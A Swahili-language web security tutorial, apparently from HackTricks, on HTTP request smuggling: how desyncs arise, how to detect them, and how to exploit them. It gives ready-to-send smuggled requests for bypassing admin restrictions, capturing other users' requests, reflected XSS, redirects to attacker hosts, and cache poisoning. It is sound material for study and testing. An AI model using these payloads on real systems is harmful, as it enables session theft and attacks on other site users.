# Kudukuliwa kwa Ombi la HTTP / Shambulio la Desync la HTTP
Jifunze kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks katika PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
## Ni Nini
Udhaifu huu unatokea wakati **desyncronization** kati ya **proxies za mbele** na **seva ya nyuma** inaruhusu **mshambuliaji** kutuma ombi la HTTP ambalo litatafsiriwa kama **ombi moja** na **proxies za mbele** (usawa wa mzigo / reverse-proxy) na **kama ombi 2** na **seva ya nyuma**.\
Hii inaruhusu mtumiaji **kurekebisha ombi linalofuata linalofika kwa seva ya nyuma baada yake**.
### Nadharia
[**Maelezo ya RFC (2161)**](https://tools.ietf.org/html/rfc2616)
> Ikiwa ujumbe unapokelewa na uwanja wa kichwa wa Transfer-Encoding na uwanja wa kichwa wa Content-Length, ule wa mwisho UNASTAHILI kupuuzwa.
**Content-Length**
> Kichwa cha mwili wa yaliyomo cha Content-Length kinaonyesha ukubwa wa mwili wa yaliyomo, kwa bayti, iliyotumwa kwa mpokeaji.
**Transfer-Encoding: chunked**
> Kichwa cha Transfer-Encoding kinaeleza aina ya uendeshaji uliotumiwa kwa usalama wa kuhamisha mwili wa mzigo kwa mtumiaji.\
> Chunked inamaanisha kuwa data kubwa inatumwa katika mfululizo wa vipande
### Uhalisia
**Mbele** (usawa wa mzigo / Reverse Proxy) **huprocess** _**content-length**_ au _**transfer-encoding**_ kichwa na **seva ya nyuma huprocess nyingine** moja ikisababisha **desyncronization** kati ya mifumo 2.\
Hii inaweza kuwa muhimu sana kwani **mshambuliaji ataweza kutuma ombi moja** kwa proxy ya nyuma ambayo itatafsiriwa na **seva ya nyuma kama maombi 2 tofauti**. **Hatari** ya mbinu hii iko katika ukweli kwamba **seva ya nyuma itatafsiri** **ombi la 2 lililowekwa** kana kwamba **ilitoka kwa mteja anayefuata** na **ombi halisi** ya mteja huyo itakuwa **sehemu** ya **ombi lililowekwa**.
### Vipengele Maalum
Kumbuka kwamba katika HTTP **tabia mpya ya mstari inajumuisha bayti 2:**
* **Content-Length**: Kichwa hiki hutumia **namba ya decimal** kuonyesha **idadi** ya **bayti** ya **mwili** wa ombi. Mwili unatarajiwa kuishia katika herufi ya mwisho, **mstari mpya hauhitajiki mwishoni mwa ombi**.
* **Transfer-Encoding:** Kichwa hiki hutumia katika **mwili** namba ya **hexadecimal** kuonyesha **idadi** ya **bayti** ya **kitengo kifuatacho**. **Kitengo** lazima **kumalizika** na **mstari mpya** lakini mstari huu mpya **haulinganishwi** na kiashiria cha urefu. Mbinu hii ya uhamishaji lazima imalize na **kitengo cha ukubwa wa 0 kifuatiwa na mistari 2 mipya**: `0`
* **Connection**: Kulingana na uzoefu wangu inapendekezwa kutumia **`Connection: keep-alive`** kwenye ombi la kwanza la kudukua la ombi.
## Mifano ya Msingi
{% hint style="success" %}
Unapojaribu kutumia hii na Burp Suite **lemaza `Sasisha Urefu wa Yaliyomo` na `Fanya Mstari wa HTTP/1 uwe wa kawaida`** kwenye mripetaji kwa sababu baadhi ya vifaa vinatumia mistari mipya, kurudi nyuma na urefu wa yaliyomo usio sahihi.
{% endhint %}
Mashambulio ya kudukua ya ombi la HTTP hufanywa kwa kutuma maombi yenye utata ambayo yanatumia tofauti katika jinsi seva za mbele na seva za nyuma zinavyotafsiri vichwa vya `Content-Length` (CL) na `Transfer-Encoding` (TE). Mashambulio haya yanaweza kutokea katika aina tofauti, hasa kama **CL.TE**, **TE.CL**, na **TE.TE**. Kila aina inawakilisha mchanganyiko wa kipekee wa jinsi seva za mbele na seva za nyuma zinavyoprioritize vichwa hivi. Udhaifu unatokea kutokana na seva kusindika ombi moja kwa njia tofauti, ikisababisha matokeo yasiyotarajiwa na yanayoweza kuwa mabaya.
### Mifano ya Msingi ya Aina za Udhaifu
#### Udhaifu wa CL.TE (Content-Length kutumiwa na Mbele, Transfer-Encoding kutumiwa na Nyuma)
* **Mbele (CL):** Inaprocess ombi kulingana na kichwa cha `Content-Length`.
* **Nyuma (TE):** Inaprocess ombi kulingana na kichwa cha `Transfer-Encoding`.
* **Skena ya Shambulio:**
* Mshambuliaji anatuma ombi ambapo thamani ya kichwa cha `Content-Length` haifanani na urefu halisi wa yaliyomo.
* Seva ya mbele inapeleka ombi lote kwa seva ya nyuma, kulingana na thamani ya `Content-Length`.
* Seva ya nyuma inaprocess ombi kama chunked kutokana na kichwa cha `Transfer-Encoding: chunked`, ikifasiri data iliyobaki kama ombi tofauti, la baadaye.
* **Mfano:**
```
POST / HTTP/1.1
Host: tovuti-inayoweza-kudukuliwa.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
Foo: x
```
#### Udhaifu wa TE.CL (Transfer-Encoding kutumiwa na Mbele, Content-Length kutumiwa na Nyuma)
* **Mbele (TE):** Inaprocess ombi kulingana na kichwa cha `Transfer-Encoding`.
* **Nyuma (CL):** Inaprocess ombi kulingana na kichwa cha `Content-Length`.
* **Skena ya Shambulio:**
* Mshambuliaji anatuma ombi la chunked ambapo ukubwa wa chunk (`7b`) na urefu halisi wa yaliyomo (`Content-Length: 4`) havilingani.
* Seva ya mbele, ikizingatia `Transfer-Encoding`, inapeleka ombi lote kwa seva ya nyuma.
* Seva ya nyuma, ikizingatia `Content-Length`, inaprocess sehemu ya mwanzo tu ya ombi (`bayti 7b`), ikiiacha sehemu iliyobaki kama sehemu ya ombi isiyokusudiwa baadaye.
* **Mfano:**
```
POST / HTTP/1.1
Host: tovuti-inayoweza-kudukuliwa.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
7b
GET /404 HTTP/1.1
Host: tovuti-inayoweza-kudukuliwa.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
x=
0
```
#### Mfumo wa TE.TE (Transfer-Encoding inayotumiwa na wote, na kuficha)
* **Seva:** Wote wanategemea `Transfer-Encoding`, lakini mmoja anaweza kudanganywa kuipuuza kupitia kuficha.
* **Skenario ya Shambulizi:**
* Mshambuliaji anatuma ombi lenye vichwa vilivyofichwa vya `Transfer-Encoding`.
* Kulingana na ni seva ipi (mbele au nyuma) inashindwa kutambua kuficha, udhaifu wa CL.TE au TE.CL unaweza kutumiwa.
* Sehemu isiyosindika ya ombi, kama inavyoonekana na moja ya seva, inakuwa sehemu ya ombi linalofuata, ikisababisha usafirishaji haramu.
* **Mfano:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
```
#### **Skenario ya CL.CL (Urefu wa Yaliyomo unayotumiwa na Mbele na Nyuma):**
* Seva zote zinasindika ombi kulingana na kichwa cha `Content-Length` pekee.
* Skenario hii kawaida haileti usafirishaji haramu, kwani kuna maelewano katika jinsi seva zote zinavyotafsiri urefu wa ombi.
* **Mfano:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Ombi la Kawaida
```
#### **Skenario ya CL != 0:**
* Inahusu hali ambapo kichwa cha `Content-Length` kipo na kina thamani isiyokuwa sifuri, ikionyesha kuwa mwili wa ombi una yaliyomo.
* Ni muhimu katika kuelewa na kutengeneza mashambulizi ya usafirishaji, kwani inaathiri jinsi seva zinavyoamua mwisho wa ombi.
* **Mfano:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Mwili Usio Tupa
```
#### Kuvunja seva ya wavuti
Mbinu hii pia ni muhimu katika hali ambapo inawezekana **kuvunja seva ya wavuti wakati wa kusoma data ya awali ya HTTP** lakini **bila kufunga uhusiano**. Kwa njia hii, **mwili** wa ombi la HTTP utazingatiwa kama **ombi la HTTP linalofuata**.
Kwa mfano, kama ilivyoelezwa katika [**makala hii**](https://mizu.re/post/twisty-python), Katika Werkzeug ilikuwa inawezekana kutuma baadhi ya herufi za **Unicode** na itafanya seva **ivunjike**. Walakini, ikiwa uhusiano wa HTTP uliumbwa na kichwa **`Connection: keep-alive`**, mwili wa ombi hautasomwa na uhusiano utaendelea kuwa wazi, hivyo **mwili** wa ombi utachukuliwa kama **ombi la HTTP linalofuata**.
#### Kulazimisha kupitia vichwa vya hop-hop
Kwa kutumia vichwa vya hop-hop unaweza kuashiria kwa proksi kufuta kichwa cha **Content-Length au Transfer-Encoding hivyo usafirishaji haramu wa ombi la HTTP unaweza kutumiwa kudanganya**.
```
Connection: Content-Length
```
Kwa **maelezo zaidi kuhusu vichwa vya hop-by-hop headers** tembelea:
{% content-ref url="../abusing-hop-by-hop-headers.md" %}
[abusing-hop-by-hop-headers.md](../abusing-hop-by-hop-headers.md)
{% endcontent-ref %}
## Kupata Ufichuaji wa Maombi ya HTTP Request Smuggling
Kutambua udhaifu wa ufichuaji wa maombi ya HTTP request smuggling mara nyingi inaweza kufikiwa kwa kutumia mbinu za wakati, ambazo hutegemea kuchunguza muda gani inachukua kwa seva kujibu maombi yaliyodhibitiwa. Mbinu hizi ni muhimu hasa kwa kugundua udhaifu wa CL.TE na TE.CL. Mbali na mbinu hizi, kuna mikakati na zana zingine zinazoweza kutumika kupata udhaifu kama huo:
### Kupata Udhaifu wa CL.TE Kwa Kutumia Mbinu za Wakati
* **Mbinu:**
* Tuma ombi ambalo, ikiwa programu ina udhaifu, litasababisha seva ya nyuma kusubiri data zaidi.
* **Mfano:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4
1
A
0
```
* **Uchunguzi:**
* Seva ya mbele huprocess ombi kulingana na `Content-Length` na kukata ujumbe mapema.
* Seva ya nyuma, ikitarajia ujumbe uliogawanywa, inasubiri kipande kinachofuata ambacho hakiwasili, kusababisha kucheleweshwa.
* **Viashiria:**
* Muda wa kusubiri au kuchelewesha mrefu katika majibu.
* Kupokea kosa la 400 Bad Request kutoka kwa seva ya nyuma, mara nyingine na maelezo ya kina ya seva.
### Kupata Udhaifu wa TE.CL Kwa Kutumia Mbinu za Wakati
* **Mbinu:**
* Tuma ombi ambalo, ikiwa programu ina udhaifu, litasababisha seva ya nyuma kusubiri data zaidi.
* **Mfano:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6
0
X
```
* **Uchunguzi:**
* Seva ya mbele huprocess ombi kulingana na `Transfer-Encoding` na kupeleka ujumbe wote.
* Seva ya nyuma, ikitarajia ujumbe kulingana na `Content-Length`, inasubiri data zaidi ambayo haitawasili, kusababisha kucheleweshwa.
### Mbinu Nyingine za Kupata Udhaifu
* **Uchambuzi wa Majibu Tofauti:**
* Tuma toleo kidogo tofauti la ombi na chunguza ikiwa majibu ya seva yanatofautiana kwa njia isiyotarajiwa, ikionyesha hitilafu katika upangaji.
* **Kutumia Zana za Kiotomatiki:**
* Zana kama kifaa cha 'HTTP Request Smuggler' cha Burp Suite zinaweza kujaribu moja kwa moja udhaifu huu kwa kutuma aina mbalimbali za maombi yenye utata na kuchambua majibu.
* **Vipimo vya Upeo wa Content-Length:**
* Tuma maombi yenye `Content-Length` tofauti ambazo hazilingani na urefu halisi wa yaliyomo na uchunguze jinsi seva inavyoshughulikia kutofautiana kwa nambari hizi.
* **Vipimo vya Upeo wa Transfer-Encoding:**
* Tuma maombi yenye vichwa vilivyofichwa au vilivyoharibika vya `Transfer-Encoding` na ufuatilie jinsi seva za mbele na nyuma zinavyojibu kwa manipulations kama hizo.
### Jaribio la Udhaifu wa Maombi ya HTTP Request Smuggling
Baada ya kuthibitisha ufanisi wa mbinu za wakati, ni muhimu kuhakikisha ikiwa maombi ya mteja yanaweza kudhibitiwa. Mbinu moja rahisi ni kujaribu kudhoofisha maombi yako, kwa mfano, kufanya ombi kwa `/` kutoe majibu ya 404. Mifano ya `CL.TE` na `TE.CL` iliyozungumziwa hapo awali katika [Mifano ya Msingi](./#mifano-ya-msingi) inaonyesha jinsi ya kudhoofisha ombi la mteja ili kupata majibu ya 404, licha ya mteja kutaka kupata rasilimali tofauti.
**Mambo Muhimu**
Wakati wa kujaribu udhaifu wa ufichuaji wa maombi kwa kuingilia kati na maombi mengine, kumbuka:
* **Mawasiliano Tofauti ya Mtandao:** Maombi ya "shambulio" na "kawaida" yanapaswa kutumwa kupitia mawasiliano tofauti ya mtandao. Kutumia mawasiliano sawa kwa yote mawili haidhibitishi uwepo wa udhaifu.
* **URL na Vigezo Thabiti:** Lengo ni kutumia URLs na majina ya vigezo sawa kwa maombi yote mawili. Programu za kisasa mara nyingi huzielekeza maombi kwa seva za nyuma maalum kulingana na URL na vigezo. Kufanana huku kunaweza kuongeza uwezekano wa maombi yote kusindika na seva ile ile, ambayo ni sharti la shambulio la mafanikio.
* **Wakati na Hali za Mashindano:** Ombi la "kawaida," lililolenga kugundua kuingilia kati kutoka kwa ombi la "shambulio," linashindana na maombi mengine ya programu yanayofanyika wakati huo huo. Hivyo, tuma ombi la "kawaida" mara moja baada ya kutuma ombi la "shambulio." Programu zenye shughuli nyingi zinaweza kuhitaji majaribio mengi kwa uthibitisho wa udhaifu.
* **Makadirio ya Kugawanya Mzigo:** Seva za mbele zinazofanya kazi kama wakadiriaji wa mzigo zinaweza kugawa maombi kwa mifumo tofauti ya nyuma. Ikiwa maombi ya "shambulio" na "kawaida" yanamalizikia kwenye mifumo tofauti, shambulio halitafanikiwa. Upande huu wa kugawanya mzigo unaweza kuhitaji majaribio kadhaa kwa uthibitisho wa udhaifu.
* **Athari Isiyotarajiwa kwa Mtumiaji:** Ikiwa shambulio lako linaathiri ombi la mtumiaji mwingine kwa bahati mbaya (si ombi la "kawaida" ulilotuma kwa kugundua), hii inaonyesha shambulio lako lilimwathiri mtumiaji mwingine wa programu. Majaribio ya mara kwa mara yanaweza kuvuruga watumiaji wengine, hivyo inahitaji kuwa makini.
## Kutumia Ufichuaji wa Maombi ya HTTP Request Smuggling
### Kuzunguka Usalama wa Mbele kupitia Ufichuaji wa Maombi ya HTTP Request Smuggling
Maranyingi, mawakala wa mbele hutekeleza hatua za usalama, kuchunguza maombi yanayoingia. Hata hivyo, hatua hizi zinaweza kuzungukwa kwa kutumia Ufichuaji wa Maombi ya HTTP Request Smuggling, kuruhusu ufikiaji usiohalali wa vituo vilivyozuiwa. Kwa mfano, kupata `/admin` kunaweza kuzuiliwa kwa nje, na mawakala wa mbele wakizuia kwa bidii majaribio kama hayo. Walakini, mawakala hawa wanaweza kusahau kuchunguza maombi yaliyofichwa ndani ya ombi la HTTP lililofichwa, kuacha mwanya wa kuzunguka vizuizi hivi.
Zingatia mifano ifuatayo inayoonyesha jinsi Ufichuaji wa Maombi ya HTTP Request Smuggling unaweza kutumika kuzunguka udhibiti wa usalama wa mbele, kwa lengo maalum la njia ya `/admin` ambayo kawaida hulindwa na mawakala wa mbele:
**Mfano wa CL.TE**
```
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
x=
```
Katika shambulio la CL.TE, kichwa cha `Content-Length` hutumika kwa ombi la awali, wakati ombi lililofichwa linatumia kichwa cha `Transfer-Encoding: chunked`. Mfumo wa mbele wa proksi huprocess ombi la awali la `POST` lakini hushindwa kuchunguza ombi lililofichwa la `GET /admin`, kuruhusu ufikiaji usioruhusiwa kwenye njia ya `/admin`.
**Mfano wa TE.CL**
```
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0
```
### Kufichua upya wa ombi la mbele la seva
Maombi mara nyingi hutumia **seva ya mbele** kurekebisha maombi yanayoingia kabla ya kuyapeleka kwa seva ya nyuma. Kubadilisha kawaida hujumuisha kuongeza vichwa, kama vile `X-Forwarded-For: `, ili kusambaza IP ya mteja kwa seva ya nyuma. Kuelewa mabadiliko haya inaweza kuwa muhimu, kwani inaweza kufunua njia za **kupita kinga** au **kufichua habari au vituo vilivyofichwa**.
Ili kuchunguza jinsi proksi inavyobadilisha ombi, tafuta parameter ya POST ambayo seva ya nyuma inarudisha kwenye jibu. Kisha, tengeneza ombi, ukitumia parameter hii mwishoni, kama ifuatavyo:
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked
0
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
search=
```
Katika muundo huu, vipengele vya ombi vinavyofuata vinaongezwa baada ya `search=`, ambayo ni parameter inayoonekana katika jibu. Uwazi huu utafunua vichwa vya ombi la kufuata.
Ni muhimu kulinganisha kichwa cha `Content-Length` cha ombi lililofichwa na urefu halisi wa yaliyomo. Kuanzia na thamani ndogo na kuongeza polepole ni vyema, kwani thamani ndogo sana itakata data iliyofichwa, wakati thamani kubwa sana inaweza kusababisha ombi kushindwa.
Mbinu hii pia inatumika katika muktadha wa udhaifu wa TE.CL, lakini ombi linapaswa kumalizika na `search=\r\n0`. Bila kujali wahusika wa mstari mpya, thamani zitaongezwa kwenye parameter ya utafutaji.
Mbinu hii kimsingi inatumika kuelewa marekebisho ya ombi yaliyofanywa na mwendeshaji wa mbele, kimsingi kufanya uchunguzi wa kujielekeza.
### Kukamata maombi ya watumiaji wengine
Inawezekana kukamata maombi ya mtumiaji wa pili kwa kuongeza ombi maalum kama thamani ya parameter wakati wa operesheni ya POST. Hapa ndivyo hii inavyoweza kufanikishwa:
Kwa kuongeza ombi lifuatalo kama thamani ya parameter, unaweza kuhifadhi ombi la mteja linalofuata:
```
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
```
Katika hali hii, **parameter ya maoni** inalenga kuhifadhi maudhui ndani ya sehemu ya maoni kwenye ukurasa unaopatikana kwa umma. Kwa hivyo, maudhui ya ombi la kufuatia yataonekana kama maoni.
Hata hivyo, mbinu hii ina vikwazo. Kwa ujumla, inakamata data hadi kufikia kizuizi cha parameter kilichotumika katika ombi lililosafirishwa. Kwa maingizo ya fomu zilizoorodheshwa kwa URL, kizuizi hiki ni herufi ya `&`. Hii inamaanisha maudhui yaliyokamatwa kutoka kwa ombi la mtumiaji wa mwathiriwa yatasimama kwenye `&` ya kwanza, ambayo inaweza hata kuwa sehemu ya mfuatano wa utaftaji.
Zaidi ya hayo, ni muhimu kutambua kuwa njia hii pia inafaa na kasoro ya TE.CL. Katika hali kama hizo, ombi linapaswa kumalizika na `search=\r\n0`. Bila kujali wahusika wa mstari mpya, thamani zitaongezwa kwenye parameter ya utaftaji.
### Kutumia uchomaji wa ombi la HTTP kudanganya XSS iliyorejelewa
Uchomaji wa Ombi la HTTP unaweza kutumika kudanganya kurasa za wavuti zenye kasoro ya **XSS iliyorejelewa**, ikitoa faida kubwa:
* Mwingiliano na watumiaji lengwa **haohitajiki**.
* Inaruhusu kutumia XSS katika sehemu za ombi ambazo kawaida ni **vigumu kufikiwa**, kama vile vichwa vya ombi la HTTP.
Katika hali ambapo tovuti inaweza kuathiriwa na XSS iliyorejelewa kupitia kichwa cha Mtumiaji, mzigo wa kufuatia unadhihirisha jinsi ya kutumia kasoro hii:
```
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded
0
GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: ">
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
A=
```
Payload hii imeundwa kuchexploit udhaifu kwa:
1. Kuanzisha ombi la `POST`, linaloonekana kawaida, na kichwa cha `Transfer-Encoding: chunked` kuashiria kuanza kwa smuggling.
2. Kufuatiwa na `0`, ikionyesha mwisho wa mwili wa ujumbe wa chunked.
3. Kisha, ombi la `GET` lililosukumwa linaletwa, ambapo kichwa cha `User-Agent` kimeingizwa na script, ``, kuzindua XSS wakati server inapoprocess ombi hili linalofuata.
Kwa kubadilisha `User-Agent` kupitia smuggling, payload inapita kwa njia ya kawaida ya kuzuia ombi, hivyo kuchexploit udhaifu wa Reflected XSS kwa njia isiyo ya kawaida lakini yenye ufanisi.
#### HTTP/0.9
{% hint style="danger" %}
Kwa kesi ambapo maudhui ya mtumiaji yanarudi katika jibu na **`Content-type`** kama **`text/plain`**, kuzuia utekelezaji wa XSS. Ikiwa server inaunga mkono **HTTP/0.9 inaweza kuwezekana kuzidi hili**!
{% endhint %}
Toleo la HTTP/0.9 lilikuwa kabla ya 1.0 na hutumia **GET** tu na **haurudi** na **vichwa**, tu mwili.
Katika [**makala hii**](https://mizu.re/post/twisty-python), hii ilidhulumiwa na smuggling ya ombi na **sehemu dhaifu itakayojibu na kuingiza mtumiaji** kudhulumu ombi na HTTP/0.9. Paramita itakayorudiwa katika jibu ilikuwa na **jibu bandia la HTTP/1.1 (na vichwa na mwili)** hivyo jibu litakuwa na msimbo wa JS wa kutekelezeka kisheria na `Content-Type` ya `text/html`.
### Kuchexploit Migeuko ya Ndani kwa Kutumia Smuggling ya Ombi la HTTP
Maombi mara nyingi hurekebisha kutoka kwa URL moja hadi nyingine kwa kutumia jina la mwenyeji kutoka kichwa cha `Host` katika URL ya kurekebisha. Hii ni ya kawaida na seva za wavuti kama Apache na IIS. Kwa mfano, kuomba folda bila mstari wa mwisho husababisha kurekebisha kuwa na mstari wa mwisho:
```
GET /home HTTP/1.1
Host: normal-website.com
```
Matokeo ni:
```
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
```
Licha ya kuonekana kuwa haina madhara, tabia hii inaweza kudanganywa kwa kutumia uporaji wa ombi la HTTP ili kuwaongoza watumiaji kwenye tovuti ya nje. Kwa mfano:
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
```
Hii ombi lililosafirishwa linaweza kusababisha ombi la mtumiaji lililopita kusukumwa kuelekea tovuti inayodhibitiwa na mshambuliaji:
```
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
```
Matokeo ni:
```
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
```
Katika kesi hii, ombi la mtumiaji la faili ya JavaScript linatekwa. Mshambuliaji anaweza kudhoofisha mtumiaji kwa kuhudumia JavaScript mbaya kama jibu.
### Kutumia Ufisadi wa Hifadhi ya Wavuti kupitia Udukuzi wa Ombi la HTTP
Ufisadi wa hifadhi ya wavuti unaweza kutekelezwa ikiwa sehemu yoyote ya **miundombinu ya mbele inahifadhi maudhui**, kawaida kuboresha utendaji. Kwa kubadilisha jibu la seva, inawezekana **kufisidi hifadhi**.
Awali, tuliona jinsi majibu ya seva yanaweza kubadilishwa ili kurudisha kosa la 404 (angalia [Mifano ya Msingi](./#basic-examples)). Vivyo hivyo, ni rahisi kudanganya seva kutoa maudhui ya `/index.html` kama jibu kwa ombi la `/static/include.js`. Kwa hivyo, maudhui ya `/static/include.js` yanabadilishwa katika hifadhi na yale ya `/index.html`, ikifanya `/static/include.js` kuwa haipatikani kwa watumiaji, na kusababisha Uzuizi wa Huduma (DoS).
Mbinu hii inakuwa yenye nguvu hasa ikiwa **Udhaifu wa Kuelekeza wazi** unagunduliwa au ikiwa kuna **kuelekeza kwenye wavuti kwenda kwa kuelekeza wazi**. Udhaifu kama huo unaweza kutumika kubadilisha maudhui yaliyohifadhiwa ya `/static/include.js` na script chini ya udhibiti wa mshambuliaji, kimsingi kuwezesha shambulio kubwa la Udukuzi wa Msalaba wa Wavuti (XSS) dhidi ya wateja wote wanaotaka `/static/include.js` iliyosasishwa.
Hapa chini ni mchoro wa kutumia **ufisadi wa hifadhi pamoja na kuelekeza kwenye wavuti kwenda kwa kuelekeza wazi**. lengo ni kubadilisha maudhui ya hifadhi ya `/static/include.js` kutumikia nambari ya JavaScript iliyo chini ya udhibiti wa mshambuliaji:
```
POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
```
Tafadhali kumbuka ombi lililofichwa linalolenga `/post/next?postId=3`. Ombi hili litaelekezwa kwa `/post?postId=4`, likitumia **Thamani ya Kichwa cha Mwenyeji** kubaini kikoa. Kwa kubadilisha **Kichwa cha Mwenyeji**, mshambuliaji anaweza kuuelekeza ombi kwenye kikoa chao (**kuelekeza kwa tovuti yao kwa kuelekeza wazi**).
Baada ya **sumu ya soketi** kufanikiwa, **ombi la GET** kwa `/static/include.js` linapaswa kuanzishwa. Ombi hili litachafuliwa na ombi la awali la **kuelekeza kwa tovuti yao kwa kuelekeza wazi** na kupata maudhui ya skripti inayodhibitiwa na mshambuliaji.
Kufuatia hilo, ombi lolote kwa `/static/include.js` litahudumia maudhui yaliyohifadhiwa ya skripti ya mshambuliaji, ikizindua mashambulizi makubwa ya XSS.
### Kutumia udanganyifu wa ombi la HTTP kutekeleza udanganyifu wa kuhifadhi wavuti
> **Ni tofauti gani kati ya sumu ya kuhifadhi wavuti na udanganyifu wa kuhifadhi wavuti?**
>
> * Katika **sumu ya kuhifadhi wavuti**, mshambuliaji husababisha programu kuhifadhi baadhi ya maudhui yenye nia mbaya kwenye hifadhi, na maudhui haya hutolewa kutoka kwenye hifadhi kwa watumiaji wengine wa programu.
> * Katika **udanganyifu wa kuhifadhi wavuti**, mshambuliaji husababisha programu kuhifadhi baadhi ya maudhui nyeti yanayomilikiwa na mtumiaji mwingine kwenye hifadhi, na kisha mshambuliaji huchukua maudhui haya kutoka kwenye hifadhi.
Mshambuliaji huchora ombi lililofichwa ambalo hupata maudhui nyeti yanayohusiana na mtumiaji. Chukua mfano ufuatao:
```markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`
```
### Kudhuru TRACE kupitia Uchomaji wa Ombi la HTTP
[**Katika chapisho hili**](https://portswigger.net/research/trace-desync-attack) inapendekezwa kwamba ikiwa seva ina njia ya TRACE iliyowezeshwa inaweza kuwa inawezekana kuitumia na Uchomaji wa Ombi la HTTP. Hii ni kwa sababu njia hii itaakisi kichwa chochote kilichotumwa kwa seva kama sehemu ya mwili wa jibu. Kwa mfano:
```
TRACE / HTTP/1.1
Host: example.com
XSS:
```
Nitatumia jibu kama:
```
HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115
TRACE / HTTP/1.1
Host: vulnerable.com
XSS:
X-Forwarded-For: xxx.xxx.xxx.xxx
```
Mfano wa jinsi ya kutumia tabia hii ni **kuficha kwanza ombi la HEAD**. Ombi hili litajibiwa na **vichwa tu vya ombi la GET** (**`Content-Type`** miongoni mwao). Na kuficha **moja kwa moja baada ya HEAD ombi la TRACE**, ambalo litakuwa **linarudisha data iliyotumwa**.\
Kwa kuwa jibu la HEAD litakuwa na kichwa cha `Content-Length`, **jibu la ombi la TRACE litachukuliwa kama mwili wa jibu la HEAD, hivyo kuirudisha data isiyojulikana** katika jibu. \
Jibu hili litatumwa kwa ombi lifuatalo kupitia uhusiano, hivyo hii inaweza **kutumika katika faili ya JS iliyohifadhiwa kwa mfano kuingiza msimbo wa JS usiojulikana**.
### Kutumia TRACE kupitia Uvunjaji wa Majibu ya HTTP
